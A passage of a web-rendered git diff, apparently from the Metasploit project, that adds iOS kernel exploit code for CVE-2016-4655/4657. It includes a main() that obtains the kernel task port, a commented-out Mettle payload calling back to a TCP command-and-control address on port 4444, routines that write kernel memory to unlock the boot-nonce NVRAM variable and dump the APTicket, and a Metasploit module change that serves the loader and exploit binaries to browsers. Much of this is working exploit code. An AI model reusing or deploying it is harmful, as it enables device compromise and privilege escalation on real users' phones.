current_thread = mach_thread_self();
|
||||||
|
int result = task_threads(mach_task_self(), &thread_list, &thread_count);
|
||||||
|
if (result == -1) {
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
if (!result && thread_count) {
|
||||||
|
for (unsigned int i = 0; i < thread_count; ++i) {
|
||||||
|
other_thread = thread_list[i];
|
||||||
|
if (other_thread != current_thread) {
|
||||||
|
int kr = thread_suspend(other_thread);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
mach_error("thread_suspend:", kr);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
extern char* const* environ;
|
||||||
|
int easyPosixSpawn(NSURL *launchPath,NSArray *arguments){
|
||||||
|
NSMutableArray *posixSpawnArguments=[arguments mutableCopy];
|
||||||
|
[posixSpawnArguments insertObject:[launchPath lastPathComponent] atIndex:0];
|
||||||
|
|
||||||
|
int argc=(int)posixSpawnArguments.count+1;
|
||||||
|
printf("Number of posix_spawn arguments: %d\n",argc);
|
||||||
|
char **args=(char**)calloc(argc,sizeof(char *));
|
||||||
|
|
||||||
|
for (int i=0; i<posixSpawnArguments.count; i++)
|
||||||
|
args[i]=(char *)[posixSpawnArguments[i]UTF8String];
|
||||||
|
|
||||||
|
printf("File exists at launch path: %d\n",[[NSFileManager defaultManager]fileExistsAtPath:launchPath.path]);
|
||||||
|
printf("Executing %s: %s\n",launchPath.path.UTF8String,arguments.description.UTF8String);
|
||||||
|
|
||||||
|
posix_spawn_file_actions_t action;
|
||||||
|
posix_spawn_file_actions_init(&action);
|
||||||
|
|
||||||
|
pid_t pid;
|
||||||
|
int status;
|
||||||
|
status = posix_spawn(&pid, launchPath.path.UTF8String, &action, NULL, args, environ);
|
||||||
|
|
||||||
|
if (status == 0) {
|
||||||
|
if (waitpid(pid, &status, 0) != -1) {
|
||||||
|
// wait
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
posix_spawn_file_actions_destroy(&action);
|
||||||
|
|
||||||
|
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
|
||||||
|
//void start_mettle()
|
||||||
|
//{
|
||||||
|
//NSLog(@"start_mettle");
|
||||||
|
//struct mettle *m = mettle();
|
||||||
|
//if (m == NULL) {
|
||||||
|
//return;
|
||||||
|
//}
|
||||||
|
|
||||||
|
//c2_add_transport_uri(mettle_get_c2(m), "tcp://192.168.43.176:4444");
|
||||||
|
|
||||||
|
//NSLog(@"mettle_start");
|
||||||
|
//mettle_start(m);
|
||||||
|
|
||||||
|
//mettle_free(m);
|
||||||
|
//NSLog(@"mettle_done");
|
||||||
|
//}
|
||||||
|
|
||||||
|
int main(int argc, char * argv[]) {
|
||||||
|
NSLog(@"hello from exploit");
|
||||||
|
//suspend_all_threads();
|
||||||
|
//NSLog(@"threads suspended");
|
||||||
|
|
||||||
|
vm_address_t kbase = 0;
|
||||||
|
task_t kernel_task = get_kernel_task(&kbase);
|
||||||
|
LOG("kernel_task: 0x%x", kernel_task);
|
||||||
|
|
||||||
|
NSLog(@"hello from uid %d", getuid());
|
||||||
|
//start_mettle();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,27 @@
|
||||||
|
/*
|
||||||
|
* nvpatch.h - Patch kernel to unrestrict NVRAM variables
|
||||||
|
* Taken and modified from kern-utils
|
||||||
|
*
|
||||||
|
* Copyright (c) 2014 Samuel Groß
|
||||||
|
* Copyright (c) 2016 Pupyshev Nikita
|
||||||
|
* Copyright (c) 2017 Siguza
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef NVPATCH_H
|
||||||
|
#define NVPATCH_H
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
|
||||||
|
#define MAX_HEADER_SIZE 0x4000
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
vm_address_t addr;
|
||||||
|
vm_size_t len;
|
||||||
|
char *buf;
|
||||||
|
} segment_t;
|
||||||
|
|
||||||
|
int nvpatch(task_t kernel_task, vm_address_t kbase, const char *target);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,309 @@
|
||||||
|
/*
|
||||||
|
* nvpatch.m - Patch kernel to unrestrict NVRAM variables
|
||||||
|
* Taken and modified from kern-utils
|
||||||
|
*
|
||||||
|
* Copyright (c) 2014 Samuel Groß
|
||||||
|
* Copyright (c) 2016 Pupyshev Nikita
|
||||||
|
* Copyright (c) 2017 Siguza
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <errno.h> // errno
|
||||||
|
#include <stdio.h> // fprintf, stderr
|
||||||
|
#include <stdlib.h> // free, malloc
|
||||||
|
#include <string.h> // memmem, strcmp, strnlen
|
||||||
|
|
||||||
|
#include "arch.h" // ADDR, MACH_*, mach_*
|
||||||
|
#include "mach-o.h" // CMD_ITERATE
|
||||||
|
|
||||||
|
#include "nvpatch.h"
|
||||||
|
|
||||||
|
#define STRING_SEG "__TEXT"
|
||||||
|
#define STRING_SEC "__cstring"
|
||||||
|
#define OFVAR_SEG "__DATA"
|
||||||
|
#define OFVAR_SEC "__data"
|
||||||
|
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
kOFVarTypeBoolean = 1,
|
||||||
|
kOFVarTypeNumber,
|
||||||
|
kOFVarTypeString,
|
||||||
|
kOFVarTypeData,
|
||||||
|
};
|
||||||
|
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
kOFVarPermRootOnly = 0,
|
||||||
|
kOFVarPermUserRead,
|
||||||
|
kOFVarPermUserWrite,
|
||||||
|
kOFVarPermKernelOnly,
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
vm_address_t name;
|
||||||
|
uint32_t type;
|
||||||
|
uint32_t perm;
|
||||||
|
int32_t offset;
|
||||||
|
} OFVar;
|
||||||
|
|
||||||
|
#define MAX_CHUNK_SIZE 0xFFF /* MIG limitation */
|
||||||
|
|
||||||
|
static vm_size_t kernel_read(task_t kernel_task, vm_address_t addr, vm_size_t size, void *buf)
|
||||||
|
{
|
||||||
|
kern_return_t ret;
|
||||||
|
vm_size_t remainder = size,
|
||||||
|
bytes_read = 0;
|
||||||
|
|
||||||
|
// The vm_* APIs are part of the mach_vm subsystem, which is a MIG thing
|
||||||
|
// and therefore has a hard limit of 0x1000 bytes that it accepts. Due to
|
||||||
|
// this, we have to do both reading and writing in chunks smaller than that.
|
||||||
|
for(vm_address_t end = addr + size; addr < end; remainder -= size)
|
||||||
|
{
|
||||||
|
size = remainder > MAX_CHUNK_SIZE ? MAX_CHUNK_SIZE : remainder;
|
||||||
|
ret = vm_read_overwrite(kernel_task, addr, size, (vm_address_t)&((char*)buf)[bytes_read], &size);
|
||||||
|
if(ret != KERN_SUCCESS || size == 0)
|
||||||
|
{
|
||||||
|
LOG("vm_read error: %s", mach_error_string(ret));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
bytes_read += size;
|
||||||
|
addr += size;
|
||||||
|
}
|
||||||
|
|
||||||
|
return bytes_read;
|
||||||
|
}
|
||||||
|
|
||||||
|
static vm_size_t kernel_write(task_t kernel_task, vm_address_t addr, vm_size_t size, void *buf)
|
||||||
|
{
|
||||||
|
kern_return_t ret;
|
||||||
|
vm_size_t remainder = size,
|
||||||
|
bytes_written = 0;
|
||||||
|
|
||||||
|
for(vm_address_t end = addr + size; addr < end; remainder -= size)
|
||||||
|
{
|
||||||
|
size = remainder > MAX_CHUNK_SIZE ? MAX_CHUNK_SIZE : remainder;
|
||||||
|
ret = vm_write(kernel_task, addr, (vm_offset_t)&((char*)buf)[bytes_written], (mach_msg_type_number_t)size);
|
||||||
|
if(ret != KERN_SUCCESS)
|
||||||
|
{
|
||||||
|
LOG("vm_write error: %s", mach_error_string(ret));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
bytes_written += size;
|
||||||
|
addr += size;
|
||||||
|
}
|
||||||
|
|
||||||
|
return bytes_written;
|
||||||
|
}
|
||||||
|
|
||||||
|
int nvpatch(task_t kernel_task, vm_address_t kbase, const char *target)
|
||||||
|
{
|
||||||
|
mach_hdr_t *hdr = malloc(MAX_HEADER_SIZE);
|
||||||
|
if(hdr == NULL)
|
||||||
|
{
|
||||||
|
LOG("Failed to allocate header buffer (%s)", strerror(errno));
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
memset(hdr, 0, MAX_HEADER_SIZE);
|
||||||
|
|
||||||
|
LOG("Reading kernel header...");
|
||||||
|
if(kernel_read(kernel_task, kbase, MAX_HEADER_SIZE, hdr) != MAX_HEADER_SIZE)
|
||||||
|
{
|
||||||
|
LOG("Kernel I/O error");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
segment_t
|
||||||
|
cstring =
|
||||||
|
{
|
||||||
|
.addr = 0,
|
||||||
|
.len = 0,
|
||||||
|
.buf = NULL,
|
||||||
|
},
|
||||||
|
data =
|
||||||
|
{
|
||||||
|
.addr = 0,
|
||||||
|
.len = 0,
|
||||||
|
.buf = NULL,
|
||||||
|
};
|
||||||
|
CMD_ITERATE(hdr, cmd)
|
||||||
|
{
|
||||||
|
switch(cmd->cmd)
|
||||||
|
{
|
||||||
|
case MACH_LC_SEGMENT:
|
||||||
|
{
|
||||||
|
mach_seg_t *seg = (mach_seg_t*)cmd;
|
||||||
|
mach_sec_t *sec = (mach_sec_t*)(seg + 1);
|
||||||
|
for(size_t i = 0; i < seg->nsects; ++i)
|
||||||
|
{
|
||||||
|
if(strcmp(sec[i].segname, STRING_SEG) == 0 && strcmp(sec[i].sectname, STRING_SEC) == 0)
|
||||||
|
{
|
||||||
|
LOG("Found " STRING_SEG "." STRING_SEC " section at " ADDR, (vm_address_t)sec[i].addr);
|
||||||
|
cstring.addr = sec[i].addr;
|
||||||
|
cstring.len = sec[i].size;
|
||||||
|
cstring.buf = malloc(cstring.len);
|
||||||
|
if(cstring.buf == NULL)
|
||||||
|
{
|
||||||
|
LOG("Failed to allocate section buffer (%s)", strerror(errno));
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if(kernel_read(kernel_task, cstring.addr, cstring.len, cstring.buf) != cstring.len)
|
||||||
|
{
|
||||||
|
LOG("Kernel I/O error");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if(strcmp(sec[i].segname, OFVAR_SEG) == 0 && strcmp(sec[i].sectname, OFVAR_SEC) == 0)
|
||||||
|
{
|
||||||
|
LOG("Found " OFVAR_SEG "." OFVAR_SEC " section at " ADDR, (vm_address_t)sec[i].addr);
|
||||||
|
data.addr = sec[i].addr;
|
||||||
|
data.len = sec[i].size;
|
||||||
|
data.buf = malloc(data.len);
|
||||||
|
if(data.buf == NULL)
|
||||||
|
{
|
||||||
|
LOG("Failed to allocate section buffer (%s)", strerror(errno));
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if(kernel_read(kernel_task, data.addr, data.len, data.buf) != data.len)
|
||||||
|
{
|
||||||
|
LOG("Kernel I/O error");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(cstring.buf == NULL)
|
||||||
|
{
|
||||||
|
LOG("Failed to find " STRING_SEG "." STRING_SEC " section");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if(data.buf == NULL)
|
||||||
|
{
|
||||||
|
LOG("Failed to find " OFVAR_SEG "." OFVAR_SEC " section");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// This is the name of the first NVRAM variable
|
||||||
|
char first[] = "little-endian?";
|
||||||
|
char *str = memmem(cstring.buf, cstring.len, first, sizeof(first));
|
||||||
|
if(str == NULL)
|
||||||
|
{
|
||||||
|
LOG("Failed to find string \"%s\"", first);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
vm_address_t str_addr = (str - cstring.buf) + cstring.addr;
|
||||||
|
LOG("Found string \"%s\" at " ADDR, first, str_addr);
|
||||||
|
|
||||||
|
// Now let's find a reference to it
|
||||||
|
OFVar *gOFVars = NULL;
|
||||||
|
for(vm_address_t *ptr = (vm_address_t*)data.buf, *end = (vm_address_t*)&data.buf[data.len]; ptr < end; ++ptr)
|
||||||
|
{
|
||||||
|
if(*ptr == str_addr)
|
||||||
|
{
|
||||||
|
gOFVars = (OFVar*)ptr;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(gOFVars == NULL)
|
||||||
|
{
|
||||||
|
LOG("Failed to find gOFVariables");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
vm_address_t gOFAddr = ((char*)gOFVars - data.buf) + data.addr;
|
||||||
|
LOG("Found gOFVariables at " ADDR, gOFAddr);
|
||||||
|
|
||||||
|
// Sanity checks
|
||||||
|
size_t numvars = 0,
|
||||||
|
longest_name = 0;
|
||||||
|
for(OFVar *var = gOFVars; (char*)var < &data.buf[data.len]; ++var)
|
||||||
|
{
|
||||||
|
if(var->name == 0) // End marker
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if(var->name < cstring.addr || var->name >= cstring.addr + cstring.len)
|
||||||
|
{
|
||||||
|
LOG("gOFVariables[%lu].name is out of bounds", numvars);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
char *name = &cstring.buf[var->name - cstring.addr];
|
||||||
|
size_t maxlen = cstring.len - (name - cstring.buf),
|
||||||
|
namelen = strnlen(name, maxlen);
|
||||||
|
if(namelen == maxlen)
|
||||||
|
{
|
||||||
|
LOG("gOFVariables[%lu].name exceeds __cstring size", numvars);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
for(size_t i = 0; i < namelen; ++i)
|
||||||
|
{
|
||||||
|
if(name[i] < 0x20 || name[i] >= 0x7f)
|
||||||
|
{
|
||||||
|
LOG("gOFVariables[%lu].name contains non-printable character: 0x%02x", numvars, name[i]);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
longest_name = namelen > longest_name ? namelen : longest_name;
|
||||||
|
switch(var->type)
|
||||||
|
{
|
||||||
|
case kOFVarTypeBoolean:
|
||||||
|
case kOFVarTypeNumber:
|
||||||
|
case kOFVarTypeString:
|
||||||
|
case kOFVarTypeData:
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
LOG("gOFVariables[%lu] has unknown type: 0x%x", numvars, var->type);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
switch(var->perm)
|
||||||
|
{
|
||||||
|
case kOFVarPermRootOnly:
|
||||||
|
case kOFVarPermUserRead:
|
||||||
|
case kOFVarPermUserWrite:
|
||||||
|
case kOFVarPermKernelOnly:
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
LOG("gOFVariables[%lu] has unknown permissions: 0x%x", numvars, var->perm);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
++numvars;
|
||||||
|
}
|
||||||
|
if(numvars < 1)
|
||||||
|
{
|
||||||
|
LOG("gOFVariables contains zero entries");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
for(size_t i = 0; i < numvars; ++i)
|
||||||
|
{
|
||||||
|
char *name = &cstring.buf[gOFVars[i].name - cstring.addr];
|
||||||
|
if(strcmp(name, target) == 0)
|
||||||
|
{
|
||||||
|
if(gOFVars[i].perm != kOFVarPermKernelOnly)
|
||||||
|
{
|
||||||
|
LOG("Variable \"%s\" is already writable for %s", target, gOFVars[i].perm == kOFVarPermUserWrite ? "everyone" : "root");
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
vm_size_t off = ((char*)&gOFVars[i].perm) - data.buf;
|
||||||
|
uint32_t newperm = kOFVarPermUserWrite; // was kOFVarPermRootOnly
|
||||||
|
if(kernel_write(kernel_task, data.addr + off, sizeof(newperm), &newperm) != sizeof(newperm))
|
||||||
|
{
|
||||||
|
LOG("Kernel I/O error");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
LOG("Successfully patched permissions for variable \"%s\"", target);
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LOG("Failed to find variable \"%s\"", target);
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
done:;
|
||||||
|
|
||||||
|
free(cstring.buf);
|
||||||
|
free(data.buf);
|
||||||
|
free(hdr);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,16 @@
|
||||||
|
/*
|
||||||
|
* set.h - High-level handler to set boot nonce
|
||||||
|
*
|
||||||
|
* Copyright (c) 2017 Siguza & tihmstar
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef SET_H
|
||||||
|
#define SET_H
|
||||||
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
bool set_generator(const char *gen);
|
||||||
|
|
||||||
|
bool dump_apticket(const char *to);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,124 @@
|
||||||
|
/*
|
||||||
|
* set.m - High-level handler to set boot nonce
|
||||||
|
*
|
||||||
|
* Copyright (c) 2017 Siguza & tihmstar
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <errno.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <IOKit/IOKitLib.h>
|
||||||
|
#include <CoreFoundation/CoreFoundation.h>
|
||||||
|
|
||||||
|
#include "arch.h"
|
||||||
|
#include "exploit64.h"
|
||||||
|
#include "nvpatch.h"
|
||||||
|
#include "set.h"
|
||||||
|
|
||||||
|
static int party_hard(void)
|
||||||
|
{
|
||||||
|
int ret = 0;
|
||||||
|
if(getuid() != 0) // Skip if we got root already
|
||||||
|
{
|
||||||
|
ret = -1;
|
||||||
|
vm_address_t kbase = 0;
|
||||||
|
task_t kernel_task = get_kernel_task(&kbase);
|
||||||
|
LOG("kernel_task: 0x%x", kernel_task);
|
||||||
|
if(MACH_PORT_VALID(kernel_task))
|
||||||
|
{
|
||||||
|
ret = nvpatch(kernel_task, kbase, "com.apple.System.boot-nonce");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool set_generator(const char *gen)
|
||||||
|
{
|
||||||
|
bool ret = false;
|
||||||
|
|
||||||
|
CFStringRef str = CFStringCreateWithCStringNoCopy(NULL, gen, kCFStringEncodingUTF8, kCFAllocatorNull);
|
||||||
|
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFCopyStringDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||||
|
if(!str || !dict)
|
||||||
|
{
|
||||||
|
LOG("Failed to allocate CF objects");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
CFDictionarySetValue(dict, CFSTR("com.apple.System.boot-nonce"), str);
|
||||||
|
CFRelease(str);
|
||||||
|
|
||||||
|
io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
|
||||||
|
if(!MACH_PORT_VALID(nvram))
|
||||||
|
{
|
||||||
|
LOG("Failed to get IODTNVRAM service");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if(party_hard() == 0)
|
||||||
|
{
|
||||||
|
kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict);
|
||||||
|
LOG("IORegistryEntrySetCFProperties: %s", mach_error_string(kret));
|
||||||
|
if(kret == KERN_SUCCESS)
|
||||||
|
{
|
||||||
|
ret = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CFRelease(dict);
|
||||||
|
}
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool dump_apticket(const char *to)
|
||||||
|
{
|
||||||
|
bool ret = false;
|
||||||
|
if(party_hard() == 0)
|
||||||
|
{
|
||||||
|
const char *from = "/System/Library/Caches/apticket.der";
|
||||||
|
struct stat s;
|
||||||
|
if(stat(from, &s) != 0)
|
||||||
|
{
|
||||||
|
LOG("stat failed: %s", strerror(errno));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
FILE *in = fopen(from, "rb");
|
||||||
|
if(in == NULL)
|
||||||
|
{
|
||||||
|
LOG("failed to open src: %s", strerror(errno));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
FILE *out = fopen(to, "wb");
|
||||||
|
if(out == NULL)
|
||||||
|
{
|
||||||
|
LOG("failed to open dst: %s", strerror(errno));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
char *buf = malloc(s.st_size);
|
||||||
|
if(buf == NULL)
|
||||||
|
{
|
||||||
|
LOG("failed to alloc buf: %s", strerror(errno));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
fread(buf, s.st_size, 1, in);
|
||||||
|
fwrite(buf, s.st_size, 1, out);
|
||||||
|
free(buf);
|
||||||
|
ret = true;
|
||||||
|
}
|
||||||
|
fclose(out);
|
||||||
|
}
|
||||||
|
fclose(in);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
|
@ -0,0 +1,9 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
make clean
|
||||||
|
rsync -azPr -e "ssh -p2222" --delete . localhost:rsync/cve/
|
||||||
|
ssh -p2222 localhost "bash -l -c 'cd rsync/cve && make main_vm' && echo Done!"
|
||||||
|
rsync -azPr -e "ssh -p2222" --delete localhost:rsync/cve/ .
|
||||||
|
ls -l main_vm
|
||||||
|
make install
|
||||||
|
|
|
@ -43,15 +43,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
print_status("Request from #{request['User-Agent']}")
|
print_status("Request from #{request['User-Agent']}")
|
||||||
if request.uri =~ /\/loader$/
|
if request.uri =~ /\/loader$/
|
||||||
print_good("Target is vulnerable.")
|
print_good("Target is vulnerable.")
|
||||||
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4657", "loader" )
|
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )
|
||||||
loader_data = File.read(local_file, {:mode => 'rb'})
|
loader_data = File.read(local_file, {:mode => 'rb'})
|
||||||
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
|
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
|
||||||
return
|
return
|
||||||
elsif request.uri =~ /\/exec$/
|
elsif request.uri =~ /\/exploit$/
|
||||||
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4657", "exec" )
|
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )
|
||||||
loader_data = File.read(local_file, {:mode => 'rb'})
|
loader_data = File.read(local_file, {:mode => 'rb'})
|
||||||
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
|
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
|
||||||
print_status("Sent exec")
|
print_status("Sent exploit (#{loader_data.size} bytes)")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
#array_payload = Rex::Text.to_num(payload.raw)
|
#array_payload = Rex::Text.to_num(payload.raw)
|
||||||
|
@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
mem2[0] = val;
|
mem2[0] = val;
|
||||||
mem0[4] = mem1;
|
mem0[4] = mem1;
|
||||||
}
|
}
|
||||||
filestream = load_binary_resource("exec")
|
filestream = load_binary_resource("exploit")
|
||||||
var shll = new Uint32Array(filestream.length / 4);
|
var shll = new Uint32Array(filestream.length / 4);
|
||||||
for (var i = 0; i < filestream.length;) {
|
for (var i = 0; i < filestream.length;) {
|
||||||
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
|
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
|
||||||
|
|
Loading…
Reference in New Issue